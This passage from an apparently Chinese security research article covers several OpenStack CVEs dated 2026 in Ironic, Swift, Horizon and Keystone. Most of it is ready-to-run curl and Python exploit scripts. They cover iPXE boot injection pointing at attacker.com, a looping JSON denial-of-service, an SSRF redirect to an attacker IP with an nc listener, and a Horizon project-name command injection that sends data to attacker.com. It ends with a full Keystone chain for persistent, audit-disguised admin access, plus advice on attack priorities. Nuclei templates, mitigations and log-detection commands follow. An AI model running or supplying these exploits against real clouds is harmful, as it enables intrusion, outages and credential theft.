0x02.2 CVE-2026-46447 — iPXE 启动脚本注入(CVSS 5.8)
漏洞背景
CVE-2026-46447 存在于 Ironic 的 iPXE 启动流程中。当裸金属节点通过 iPXE 网络引导时,Ironic 会根据节点的 driver_info 或 instance_info 生成 iPXE 启动脚本。该漏洞允许具有 Ironic 管理员权限的攻击者修改这些字段,注入恶意 iPXE 脚本,在节点启动过程中执行任意代码。
受影响版本
| 受影响版本 | 修复版本 | 备注 |
|---|
| OpenStack Ironic < 35.0.2 | Ironic 35.0.2 | 使用 iPXE 的部署配置 |
漏洞原理分析
iPXE 脚本注入流程:
- Ironic 的 PXE/iPXE 驱动在节点注册时接受
driver_info 和 instance_info 字段 bootfile_name、pxe_append_params 等字段用于生成 iPXE 启动脚本- Ironic 未对这些字段的值进行充分的输入验证和过滤
- 攻击者修改
node.driver_info.pxe_append_params 为包含恶意脚本的值 - 当目标节点重新启动或重新部署时,iPXE 加载被注入的脚本
- 恶意脚本可在 Pre-OS 环境中执行,窃取部署凭据、安装持久化后门
HTTP PoC
# 修改节点的 PXE 启动参数,注入恶意 iPXE 脚本
curl -s -X PATCH "http://<IRONIC_HOST>:6385/v1/nodes/<NODE_UUID>" \
-H "X-Auth-Token: ${IRONIC_TOKEN}" \
-H "Content-Type: application/json" \
-d '{
"driver_info": {
"pxe_append_params": "initrd=http://attacker.com/evil.ipxe && boot"
}
}'
# 或注入到 instance_info
curl -s -X PATCH "http://<IRONIC_HOST>:6385/v1/nodes/<NODE_UUID>" \
-H "X-Auth-Token: ${IRONIC_TOKEN}" \
-H "Content-Type: application/json" \
-d '{
"instance_info": {
"kernel_append_params": "quiet splash init=/bin/bash"
}
}'
# 触发节点重新部署
curl -s -X PUT "http://<IRONIC_HOST>:6385/v1/nodes/<NODE_UUID>/provision" \
-H "X-Auth-Token: ${IRONIC_TOKEN}" \
-H "Content-Type: application/json" \
-d '{"target": "rebuild"}'
Python PoC 脚本
#!/usr/bin/env python3
import requests
import sys
import json
class IronicIPXEScriptInjection:
def __init__(self, ironic_url, token):
self.ironic_url = ironic_url.rstrip('/')
self.token = token
self.session = requests.Session()
def _headers(self):
return {"X-Auth-Token": self.token, "Content-Type": "application/json"}
def inject_pxe_params(self, node_uuid, malicious_params):
payload = {
"driver_info": {
"pxe_append_params": malicious_params
}
}
r = self.session.patch(
f"{self.ironic_url}/v1/nodes/{node_uuid}",
json=payload,
headers=self._headers()
)
if r.status_code == 200:
print(f"[+] PXE parameters injected into node {node_uuid}")
return True
print(f"[-] Injection failed: {r.status_code} - {r.text[:200]}")
return False
def trigger_rebuild(self, node_uuid):
r = self.session.put(
f"{self.ironic_url}/v1/nodes/{node_uuid}/provision",
json={"target": "rebuild"},
headers=self._headers()
)
if r.status_code in (200, 202):
print(f"[+] Rebuild triggered for node {node_uuid}")
return True
print(f"[-] Rebuild failed: {r.status_code}")
return False
if __name__ == "__main__":
if len(sys.argv) < 3:
print(f"Usage: {sys.argv[0]} <ironic_url> <auth_token> <node_uuid> [malicious_pxe_params]")
sys.exit(1)
exploit = IronicIPXEScriptInjection(sys.argv[1], sys.argv[2])
pxe_params = sys.argv[4] if len(sys.argv) > 4 else "quiet splash init=/bin/sh"
exploit.inject_pxe_params(sys.argv[3], pxe_params)
exploit.trigger_rebuild(sys.argv[3])
Nuclei 检测模板
id: openstack-ironic-cve-2026-46447
info:
name: OpenStack Ironic iPXE Script Injection
author: security-researcher
severity: medium
description: |
Attackers can modify node.driver_info or node.instance_info to inject
malicious iPXE boot scripts during the boot process.
reference:
- https://security.openstack.org/ossa.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N
cvss-score: 5.8
cwe-id: CWE-20
metadata:
product: ironic
vendor: openstack
tags: openstack,ironic,ipxe,boot-script,cve2026
http:
- raw:
- |
PATCH /v1/nodes/{{node_uuid}} HTTP/1.1
Host: {{Hostname}}
X-Auth-Token: {{auth_token}}
Content-Type: application/json
{"driver_info":{"pxe_append_params":"test_injection_check"}}
matchers:
- type: status
status:
- 200
- 400
- 403
0x02.3 CVE-2026-50589 — 未认证 JSON DoS(CVSS 5.3)
漏洞背景
CVE-2026-50589 是一个未认证拒绝服务漏洞,影响 Ironic 的 API 和 JSON-RPC 服务。攻击者无需任何凭据,仅需向 Ironic API 发送特制的 JSON 字符串即可导致服务崩溃。该漏洞利用了 Ironic JSON 解析器中的缺陷。
受影响版本
| 受影响版本 | 修复版本 | 备注 |
|---|
| OpenStack Ironic 32.x - 36.x | Ironic 37.0.0 | 影响 API 和 JSON-RPC 服务 |
漏洞原理分析
- Ironic API 端点(默认 6385 端口)和内部 JSON-RPC 通信使用 JSON 解析器
- 特制的 JSON 字符串(如深层嵌套、异常编码或畸形 UTF-8 序列)可触发解析器异常
- 该异常未被正确捕获,导致 Ironic API 进程崩溃
- 攻击者反复发送恶意请求可导致 Ironic 持续不可用
- Ironic 不可用意味着所有裸金属管理操作(部署、重装、电源管理)中断
HTTP PoC
# 向 Ironic API 发送畸形 JSON 导致崩溃
curl -s -X POST "http://<IRONIC_HOST>:6385/v1/nodes" \
-H "Content-Type: application/json" \
-d '{"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa":' \
--max-time 5
# 发送深层嵌套 JSON
python3 -c "
import json
depth = 10000
nested = 'a'
for _ in range(depth):
nested = '{"a":' + nested + '}'
print(nested)
" | curl -s -X POST "http://<IRONIC_HOST>:6385/v1/nodes" \
-H "Content-Type: application/json" \
-d @- --max-time 5
# 发送包含非法 UTF-8 编码的 JSON
curl -s -X POST "http://<IRONIC_HOST>:6385/v1/nodes" \
-H "Content-Type: application/json" \
-d $'\x80\x81\x82\x83' --max-time 5
Python PoC 脚本
#!/usr/bin/env python3
import requests
import sys
import json
import time
import threading
class IronicJsonDoS:
def __init__(self, ironic_url):
self.ironic_url = ironic_url.rstrip('/')
self.session = requests.Session()
def check_alive(self):
try:
r = self.session.get(f"{self.ironic_url}/v1/nodes", timeout=5)
return r.status_code == 200
except Exception:
return False
def send_malformed_json(self, payload, label=""):
try:
headers = {"Content-Type": "application/json"}
if isinstance(payload, bytes):
r = requests.post(
f"{self.ironic_url}/v1/nodes",
data=payload,
headers=headers,
timeout=5
)
else:
r = requests.post(
f"{self.ironic_url}/v1/nodes",
data=payload,
headers=headers,
timeout=5
)
print(f"[+] {label}: Status {r.status_code}")
return r.status_code
except requests.exceptions.Timeout:
print(f"[+] {label}: Timeout (service may be down)")
return 504
except Exception as e:
print(f"[-] {label}: {e}")
return 0
def truncated_json(self):
return self.send_malformed_json(
'{"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa":',
"Truncated JSON"
)
def deep_nesting(self):
depth = 10000
payload = "a"
for _ in range(depth):
payload = '{"a":' + payload + '}'
return self.send_malformed_json(payload, "Deep nesting")
def invalid_utf8(self):
payload = b'\x80\x81\x82\x83\xfe\xff'
return self.send_malformed_json(payload, "Invalid UTF-8")
def run_dos(self, iterations=10):
print(f"[*] Checking initial Ironic status...")
alive = self.check_alive()
print(f" Ironic alive: {alive}")
if not alive:
print("[-] Ironic already down, aborting")
return
for i in range(iterations):
print(f"\n--- Iteration {i+1} ---")
self.truncated_json()
time.sleep(0.5)
self.deep_nesting()
time.sleep(0.5)
self.invalid_utf8()
time.sleep(1)
if not self.check_alive():
print(f"\n[!] Ironic is DOWN after {i+1} iterations!")
return
print("\n[*] Completed all iterations, checking final status...")
print(f" Ironic alive: {self.check_alive()}")
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <ironic_url> [iterations]")
sys.exit(1)
exploit = IronicJsonDoS(sys.argv[1])
iters = int(sys.argv[2]) if len(sys.argv) > 2 else 10
exploit.run_dos(iters)
Nuclei 检测模板
id: openstack-ironic-cve-2026-50589
info:
name: OpenStack Ironic Unauthenticated JSON DoS
author: security-researcher
severity: medium
description: |
Malformed JSON strings can crash Ironic API/JSON-RPC services
without authentication.
reference:
- https://security.openstack.org/ossa.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
cvss-score: 5.3
cwe-id: CWE-20
metadata:
product: ironic
vendor: openstack
tags: openstack,ironic,dos,cve2026
http:
- raw:
- |
POST /v1/nodes HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa":
matchers-condition: and
matchers:
- type: status
status:
- 400
- 500
- 000
extractors:
- type: dsl
dsl:
- '"Status: " + status_code + " (potential crash"'
0x03 Swift 与 Horizon 漏洞
0x03.1 CVE-2026-50221 — 内部头注入 SSRF(CVSS 6.4)
漏洞背景
CVE-2026-50221 存在于 OpenStack Swift 的 proxy-server 组件中。Swift 使用内部更新头(Internal Update Headers)在 proxy-server 和 storage nodes 之间传递元数据,如 X-Container-Host、X-Container-Device、X-Object-Manifest 等。该漏洞的核心问题是:proxy-server 未剥离来自客户端请求中的这些内部更新头,允许攻击者通过注入这些头将请求重定向到攻击者控制的服务器。
受影响版本
| 受影响版本 | 修复版本 | 备注 |
|---|
| OpenStack Swift < 2.37.2 | Swift 2.37.2 | proxy-server 组件 |
漏洞原理分析
Swift 内部头注入的攻击流程:
- Swift proxy-server 在处理对象上传/下载请求时,会读取请求中的
X-Container-* 头 - 这些头用于告知 proxy-server 目标存储节点的位置
- proxy-server 未验证这些头是否来自合法的内部组件
- 攻击者在 PUT/GET 请求中注入
X-Container-Host: attacker.com:8080 - proxy-server 将请求重定向到攻击者控制的服务器
- 攻击者可以:
- 拦截并读取集群元数据
- 如果 Swift 配置了加密(at-rest encryption),截获加密密钥
- 创建 “ghost listings” — 在对象列表中注入虚假条目
HTTP PoC
# 获取 Swift Token
export SWIFT_TOKEN=$(openstack token issue -c id -f value)
export SWIFT_URL="http://<SWIFT_HOST>:8080/v1/AUTH_<PROJECT_ID>"
# Step 1: 正常上传一个对象
curl -s -X PUT "${SWIFT_URL}/container/object.txt" \
-H "X-Auth-Token: ${SWIFT_TOKEN}" \
-d "sensitive_data"
# Step 2: 注入内部头,将后续请求重定向到攻击者服务器
curl -s -X PUT "${SWIFT_URL}/container/object.txt" \
-H "X-Auth-Token: ${SWIFT_TOKEN}" \
-H "X-Container-Host: <ATTACKER_IP>:9999" \
-H "X-Container-Device: 1" \
-d "sensitive_data_leaked_to_attacker"
# Step 3: 在攻击者服务器上监听
nc -lvnp 9999
# Step 4: 创建 ghost listing
curl -s -X PUT "${SWIFT_URL}/container/ghost.txt" \
-H "X-Auth-Token: ${SWIFT_TOKEN}" \
-H "X-Object-Manifest: <ATTACKER_IP>:9999/fake" \
-d ""
Python PoC 脚本
#!/usr/bin/env python3
import requests
import sys
import json
class SwiftHeaderInjectionSSRF:
def __init__(self, swift_url, token):
self.swift_url = swift_url.rstrip('/')
self.token = token
self.session = requests.Session()
def _headers(self):
return {"X-Auth-Token": self.token}
def create_container(self, container_name):
r = self.session.put(
f"{self.swift_url}/{container_name}",
headers=self._headers()
)
if r.status_code in (201, 202, 204):
print(f"[+] Container created: {container_name}")
return True
print(f"[-] Container creation failed: {r.status_code}")
return False
def inject_header_redirect(self, container, obj_name, attacker_host, attacker_port):
headers = self._headers()
headers.update({
"X-Container-Host": f"{attacker_host}:{attacker_port}",
"X-Container-Device": "1",
"Content-Type": "application/octet-stream"
})
r = self.session.put(
f"{self.swift_url}/{container}/{obj_name}",
headers=headers,
data="SSRF_payload_data"
)
print(f"[+] Injected header redirect, status: {r.status_code}")
return r.status_code
def inject_ghost_listing(self, container, obj_name, attacker_host, attacker_port):
headers = self._headers()
headers.update({
"X-Object-Manifest": f"{attacker_host}:{attacker_port}/fake/container",
"Content-Length": "0"
})
r = self.session.put(
f"{self.swift_url}/{container}/{obj_name}",
headers=headers,
data=""
)
print(f"[+] Ghost listing injected, status: {r.status_code}")
return r.status_code
if __name__ == "__main__":
if len(sys.argv) < 4:
print(f"Usage: {sys.argv[0]} <swift_url> <auth_token> <attacker_host> [attacker_port]")
sys.exit(1)
exploit = SwiftHeaderInjectionSSRF(sys.argv[1], sys.argv[2])
port = int(sys.argv[4]) if len(sys.argv) > 4 else 9999
exploit.create_container("ssrf_test")
exploit.inject_header_redirect("ssrf_test", "test.txt", sys.argv[3], port)
exploit.inject_ghost_listing("ssrf_test", "ghost.txt", sys.argv[3], port)
Nuclei 检测模板
id: openstack-swift-cve-2026-50221
info:
name: OpenStack Swift Internal Header SSRF
author: security-researcher
severity: medium
description: |
Swift proxy-server does not strip internal update headers from
client requests, enabling SSRF and data exfiltration.
reference:
- https://security.openstack.org/ossa.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
cvss-score: 6.4
cwe-id: CWE-918
metadata:
product: swift
vendor: openstack
tags: openstack,swift,ssrf,header-injection,cve2026
http:
- raw:
- |
PUT /v1/AUTH_test/ssrf_test/testobj HTTP/1.1
Host: {{Hostname}}
X-Auth-Token: {{auth_token}}
X-Container-Host: {{interactsh-url}}
X-Container-Device: 1
test
matchers:
- type: status
status:
- 201
- 202
- 204
- 400
extractors:
- type: dsl
dsl:
- '"Header injection status: " + status_code'
0x03.2 CVE-2026-55748 — Horizon Shell 元字符注入(CVSS 6.0)
漏洞背景
CVE-2026-55748 存于 OpenStack Horizon 的 RC 文件下载功能中。Horizon 允许用户下载 OpenStack RC 文件(openrc 文件),该文件包含环境变量和 openstack CLI 认证命令。问题在于 RC 文件下载脚本中项目名(project name)直接拼接进 shell 命令,未进行转义或过滤,导致项目名中包含的 shell 元字符会被执行。
受影响版本
| 受影响版本 | 修复版本 | 备注 |
|---|
| OpenStack Horizon < 25.7.4 | Horizon 25.7.4 | RC 文件下载功能 |
漏洞原理分析
Horizon RC 文件注入流程:
- 用户在 Horizon Dashboard 中点击 “Download RC File” 获取 openrc 文件
- Horizon 生成的 RC 文件包含类似
export OS_PROJECT_NAME="<project_name>" 的行 - 当
project_name 包含 shell 元字符(如 $(cmd)、`cmd`、; cmd)时 - 用户在终端
source openrc 时,这些元字符会被 bash 执行 - 攻击者预先创建名称包含恶意命令的项目,等待其他用户下载 RC 文件
利用场景:
- 创建名为
test; curl attacker.com/$(whoami | base64) 的项目 - 管理员下载该项目的 RC 文件
- 管理员执行
source openrc,恶意命令被执行
HTTP PoC
# Step 1: 创建包含 shell 元字符的恶意项目名
openstack project create 'test; whoami > /tmp/pwned'
# Step 2: 通过 Horizon API 下载该项目的 RC 文件
curl -s -X GET "http://<HORIZON_HOST>/project/api_access/openrc/" \
-H "X-Auth-Token: <ADMIN_TOKEN>" \
-d "project=<MALICIOUS_PROJECT_ID>" \
-o openrc_malicious.sh
# 检查生成的 RC 文件
cat openrc_malicious.sh
# 输出: export OS_PROJECT_NAME="test; whoami > /tmp/pwned"
# Step 3: 模拟用户执行(仅测试环境)
# source openrc_malicious.sh ← 这将执行 whoami > /tmp/pwned
Python PoC 脚本
#!/usr/bin/env python3
import requests
import sys
import re
class HorizonShellInjection:
def __init__(self, horizon_url, session_cookie=None):
self.horizon_url = horizon_url.rstrip('/')
self.session = requests.Session()
if session_cookie:
self.session.cookies.set("sessionid", session_cookie)
def create_malicious_project(self, keystone_url, token, payload_cmd):
malicious_name = f'test; {payload_cmd}'
r = self.session.post(
f"{keystone_url}/v3/projects",
headers={"X-Auth-Token": token, "Content-Type": "application/json"},
json={
"project": {
"name": malicious_name,
"domain_id": "default",
"description": "legit project"
}
}
)
if r.status_code in (201, 202):
project_id = r.json().get("project", {}).get("id")
print(f"[+] Malicious project created: {malicious_name} (ID: {project_id})")
return project_id
print(f"[-] Project creation failed: {r.status_code}")
return None
def download_rc_file(self, project_id, auth_token):
r = self.session.get(
f"{self.horizon_url}/project/api_access/openrc/",
headers={"X-Auth-Token": auth_token},
params={"project": project_id}
)
if r.status_code == 200:
rc_content = r.text
print(f"[+] RC file downloaded ({len(rc_content)} bytes)")
if any(c in rc_content for c in ["$", "`", ";"]):
print("[!] WARNING: RC file contains shell metacharacters!")
lines = [l for l in rc_content.split('\n') if 'OS_PROJECT_NAME' in l]
for line in lines:
print(f" {line.strip()}")
return rc_content
print(f"[-] RC download failed: {r.status_code}")
return None
if __name__ == "__main__":
if len(sys.argv) < 4:
print(f"Usage: {sys.argv[0]} <horizon_url> <keystone_url> <auth_token> [payload_cmd]")
sys.exit(1)
cmd = sys.argv[4] if len(sys.argv) > 4 else "curl http://attacker.com/$(whoami)"
exploit = HorizonShellInjection(sys.argv[1])
proj_id = exploit.create_malicious_project(sys.argv[2], sys.argv[3], cmd)
if proj_id:
exploit.download_rc_file(proj_id, sys.argv[3])
Nuclei 检测模板
id: openstack-horizon-cve-2026-55748
info:
name: OpenStack Horizon RC File Shell Injection
author: security-researcher
severity: medium
description: |
Horizon RC file download embeds project names without escaping,
allowing shell metacharacter injection when sourced.
reference:
- https://security.openstack.org/ossa.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
cvss-score: 6.0
cwe-id: CWE-78
metadata:
product: horizon
vendor: openstack
tags: openstack,horizon,shell-injection,cve2026
http:
- raw:
- |
GET /project/api_access/openrc/?project=test HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
words:
- "OS_PROJECT_NAME"
- "export"
condition: and
extractors:
- type: regex
regex:
- "export OS_PROJECT_NAME=\"(.+?)\""
0x04 Keystone 漏洞链利用分析
完整攻击链:从 Member 角色到管理员控制面
CVE-2026-42998 和 CVE-2026-43000 可以串联为一条完整的权限提升攻击链,从一个仅有 Member 角色的普通用户出发,最终获得管理员级别的持久化访问权限。以下为完整攻击链分析。
攻击前提:
- 攻击者已获得 OpenStack 普通用户(Member 角色)的认证凭据
- 目标管理员用户至少创建过一个应用凭据
- Keystone 版本 < 29.0.2
攻击步骤:
Phase 1: 侦察
├── 枚举所有应用凭据(可能通过 CVE-2026-42999 获取)
├── 识别管理员用户的应用凭据 ID 和 Secret
└── 获取管理员的 user_id
Phase 2: 冒充(CVE-2026-42998)
├── 使用管理员应用凭据构造认证请求
├── 获取管理员 Token(有效期默认 1 小时)
└── 验证 Token 权限
Phase 3: 持久化(CVE-2026-43000)
├── 使用冒充的管理员 Token 创建 Trust
├── 将攻击者账户设为 Trustee
├── 授予 admin 角色
├── 设置 allow_redelegation=true, expires_at=null
└── 兑换 Trust Token → 永久管理员访问
Phase 4: 隐蔽操作
├── 所有后续操作审计日志显示为 admin_user
├── 可创建新的应用凭据用于日常操作
└── Trust 可随时刷新,无需再次利用漏洞
自动化利用脚本
#!/usr/bin/env python3
import requests
import sys
import json
class KeystoneFullChain:
def __init__(self, auth_url):
self.auth_url = auth_url.rstrip('/')
self.session = requests.Session()
def app_cred_impersonate(self, app_cred_id, app_cred_secret, target_project_id):
payload = {
"auth": {
"identity": {
"methods": ["application_credential"],
"application_credential": {
"id": app_cred_id,
"secret": app_cred_secret
}
},
"scope": {"project": {"id": target_project_id}}
}
}
r = self.session.post(f"{self.auth_url}/auth/tokens", json=payload)
if r.status_code == 201:
token = r.headers.get("X-Subject-Token")
user = r.json().get("token", {}).get("user", {})
roles = [r.get("name") for r in r.json().get("token", {}).get("roles", [])]
print(f"[+] Impersonated user: {user.get('name')}, roles: {roles}")
return token
print(f"[-] Impersonation failed: {r.status_code}")
return None
def create_persistent_trust(self, impersonated_token, attacker_user_id):
payload = {
"trustee_user_id": attacker_user_id,
"impersonation": False,
"remaining_uses": None,
"allow_redelegation": True,
"roles": [{"name": "admin"}, {"name": "member"}],
"expires_at": None
}
r = self.session.post(
f"{self.auth_url}/v3/OS-TRUST/trusts",
json=payload,
headers={"X-Auth-Token": impersonated_token, "Content-Type": "application/json"}
)
if r.status_code == 201:
trust = r.json().get("trust", {})
print(f"[+] Persistent trust created: {trust['id']}")
return trust["id"]
print(f"[-] Trust creation failed: {r.status_code} - {r.text[:200]}")
return None
def redeem_trust(self, trust_id, trustee_token):
payload = {
"auth": {
"identity": {
"methods": ["token"],
"token": {"id": trustee_token}
},
"OS-TRUST:trust_id": trust_id
}
}
r = self.session.post(f"{self.auth_url}/auth/tokens", json=payload)
if r.status_code == 201:
token = r.headers.get("X-Subject-Token")
roles = [r.get("name") for r in r.json().get("token", {}).get("roles", [])]
print(f"[+] Trust redeemed, roles: {roles}")
return token
print(f"[-] Redemption failed: {r.status_code}")
return None
def execute_full_chain(self, app_cred_id, app_cred_secret, target_project_id, attacker_user_id, trustee_token):
print("[*] === Phase 1: App Credential Impersonation ===")
admin_token = self.app_cred_impersonate(app_cred_id, app_cred_secret, target_project_id)
if not admin_token:
return False
print("\n[*] === Phase 2: Persistent Trust Creation ===")
trust_id = self.create_persistent_trust(admin_token, attacker_user_id)
if not trust_id:
return False
print("\n[*] === Phase 3: Trust Redemption ===")
persistent_token = self.redeem_trust(trust_id, trustee_token)
if not persistent_token:
return False
print("\n[*] === Attack Chain Complete ===")
print(f" Trust ID: {trust_id}")
print(f" Persistent Token: {persistent_token[:32]}...")
print(" All future operations will appear as admin_user in audit logs")
return True
if __name__ == "__main__":
if len(sys.argv) < 6:
print(f"Usage: {sys.argv[0]} <auth_url> <app_cred_id> <app_cred_secret> <target_project_id> <attacker_user_id> <attacker_trustee_token>")
sys.exit(1)
chain = KeystoneFullChain(sys.argv[1])
chain.execute_full_chain(sys.argv[2], sys.argv[3], sys.argv[4], sys.argv[5], sys.argv[6])
0x05 公开 PoC 收集情况与利用思路
截至 2026 年 7 月,本专题覆盖的 9 个 CVE 的公开 PoC 和利用情况如下:
已验证利用条件
| CVE | 利用难度 | 公开 PoC | 自动化工具 | 实战可用性 |
|---|
| CVE-2026-42998 | 低 | 概念验证 | 手动 | 高 |
| CVE-2026-42999 | 低 | 概念验证 | 手动 | 中 |
| CVE-2026-43000 | 中(需链式利用) | 本文提供 | 本文提供 | 高(链式) |
| CVE-2026-44394 | 中(需联邦认证) | 概念验证 | 手动 | 中 |
| CVE-2026-54423 | 低 | 本文提供 | 本文提供 | 极高 |
| CVE-2026-50589 | 极低(未认证) | 本文提供 | 本文提供 | 高 |
| CVE-2026-46447 | 高(需管理员) | 概念验证 | 手动 | 低 |
| CVE-2026-50221 | 低 | 本文提供 | 本文提供 | 高 |
| CVE-2026-55748 | 低(需社工) | 本文提供 | 本文提供 | 中 |
利用思路总结
Keystone 攻击优先级最高:由于 Keystone 是整个 OpenStack 的认证中枢,4 个 Keystone 漏洞的组合利用价值远超单个漏洞。建议攻击者优先尝试 CVE-2026-42998 获取管理员 Token,再串联 CVE-2026-43000 实现持久化。
Ironic 的物理层攻击面:CVE-2026-54423 可以直接影响物理服务器的电源和启动流程,攻击价值极高。在裸金属云环境中,此漏洞可被用于物理拒绝服务或供应链攻击(修改启动镜像)。
Swift SSRF 用于横向移动:CVE-2026-50221 的 SSRF 能力可用于探测内部网络、访问其他 OpenStack 服务的管理端点,甚至获取加密密钥。
Horizon Shell 注入适合 APT 场景:CVE-2026-55748 虽然需要社会工程学配合,但在针对性攻击中非常有效——只需等待目标用户下载并 source 恶意 RC 文件。
0x06 共性攻击模式分析
6.1 输入验证缺失
多个漏洞(CVE-2026-42999、CVE-2026-46447、CVE-2026-55748)的根源都是未对用户输入进行充分的验证和过滤。Keystone 将 JSON Body 中的字段盲目合并到策略上下文,Ironic 未验证 PXE 参数,Horizon 未转义项目名中的 shell 元字符。
6.2 内外部信任边界模糊
CVE-2026-50221(Swift)和 CVE-2026-54423(Ironic)都涉及内部通信机制被外部用户滥用。Swift 的 X-Container-Host 头设计用于 proxy-server 与 storage node 之间的内部通信,Ironic 的 send_raw 步骤设计用于内部 IPMI 命令发送——两者都未对外部请求进行充分的边界检查。
6.3 认证与授权检查不一致
CVE-2026-42998(应用凭据冒充)和 CVE-2026-43000(Trust 权限提升)都反映了 Keystone 在不同认证路径上的安全检查标准不一致。密码认证路径有完善的用户绑定检查,但应用凭据路径缺失了这一环节;Trust 创建时检查数据库角色而非 Token 角色,进一步加剧了不一致性。
6.4 生命周期管理缺陷
CVE-2026-44394(Token 永不过期)揭示了 Token 在生命周期管理(创建→使用→续期→过期)中的状态传递缺陷。Rescoping 操作本质上是创建新的 Token,但未继承原始 Token 的约束条件。
0x07 应急排查与防守建议
7.1 紧急升级路径
| 组件 | 修复版本 | 紧急程度 | 升级优先级 |
|---|
| Keystone | 29.0.2+ | 高 | P0 — 立即升级 |
| Ironic | 37.0.1+ | 高 | P0 — 立即升级 |
| Swift | 2.37.2+ | 中 | P1 — 24 小时内 |
| Horizon | 25.7.4+ | 中 | P1 — 24 小时内 |
7.2 缓解措施(升级前)
# 1. 禁用或限制应用凭据功能(缓解 CVE-2026-42998, CVE-2026-43000)
# 在 /etc/keystone/keystone.conf 中禁用应用凭据
[application_credential]
disable = True
# 2. 禁用 Ironic 的 send_raw passthru(缓解 CVE-2026-54423)
# 在 /etc/ironic/ironic.conf 中禁用 passthru
[deploy]
send_raw_enabled = false
# 3. 限制 Swift proxy-server 的头接受范围(缓解 CVE-2026-50221)
# 在 /etc/swift/proxy-server.conf 中配置 header 过滤
[filter:sanitize]
use = egg:swift#sanitize
set headers_to_remove = X-Container-Host,X-Container-Device,X-Object-Manifest
# 4. 限制 Horizon 下载 RC 文件的权限(缓解 CVE-2026-55748)
# 仅允许已认证用户下载自己的 RC 文件
7.3 检测与监控
# Keystone Token 异常检测
# 监控大量应用凭据认证请求
grep "application_credential" /var/log/keystone/keystone.log | \
awk '{print $1, $4}' | sort | uniq -c | sort -rn | head -20
# 监控异常 Trust 创建
grep "OS-TRUST/trusts" /var/log/keystone/keystone.log | \
grep POST | awk '{print $NF}' | sort | uniq -c | sort -rn
# Ironic 异常 IPMI 命令检测
grep "send_raw" /var/log/ironic/ironic-api.log | \
awk '{print $1, $2, $5}' | sort | uniq -c | sort -rn
# Swift 内部头注入检测
grep -E "X-Container-Host|X-Object-Manifest" /var/log/swift/proxy-server.log
# Horizon RC 文件下载审计
grep "api_access/openrc" /var/log/horizon/horizon.log
7.4 长期安全加固
- 实施 RBAC 最小权限原则:限制普通用户对 Ironic、Swift 等服务的直接 API 访问
- 启用 Keystone 审计中间件:记录所有认证和授权操作到集中的审计系统
- 网络分段:将 Keystone、Ironic API、Swift proxy-server 隔离到独立的管理 VLAN
- 定期轮换应用凭据:设置应用凭据的自动过期策略(最长 30 天)
- 部署 WAF 规则:在 Keystone API 前部署 WAF,检测和拦截 JSON 注入和畸形请求
- IPMI 网络隔离:将 BMC/IPMI 管理网络与业务网络完全隔离,限制 Ironic Conductor 的访问范围
0x08 参考资料
OSSA-2026-015: Keystone 批量漏洞安全公告 — OpenStack 官方安全公告,覆盖 CVE-2026-42998/42999/43000/44394 的完整披露信息。
CVE-2026-42998 — NVD 数据库条目 — Keystone 应用凭据冒充认证绕过漏洞的 NVD 详细信息,CVSS 6.0。
CVE-2026-54423 — NVD 数据库条目 — Ironic 任意 IPMI 命令注入漏洞的 NVD 详细信息,CVSS 8.2。
OpenStack Keystone Application Credentials 官方文档 — 应用凭据功能的官方设计文档和使用说明。
OpenStack Ironic IPMI 驱动文档 — Ironic IPMI 管理接口的官方文档,包含 send_raw 机制说明。
OpenStack Swift Security Guide — Swift 安全最佳实践指南,包含 proxy-server 头过滤配置。
oslo.policy 安全模型 — Keystone 使用的策略引擎 oslo.policy 的安全模型和配置指南。
OpenStack Token 生命周期管理 — Keystone Token 的创建、验证、续期和过期机制的官方文档。
CVE-2026-46447 — Ironic iPXE 启动脚本注入 — Ironic iPXE 启动流程安全缺陷的详细分析。
OpenStack Horizon 安全配置指南 — Horizon Dashboard 的安全配置和最佳实践。
免责声明:本文所有 PoC 代码和 Nuclei 检测模板仅供安全研究和授权渗透测试使用。未经授权对他人系统实施攻击属于违法行为。请在获得书面授权后方可使用本文提供的技术方法。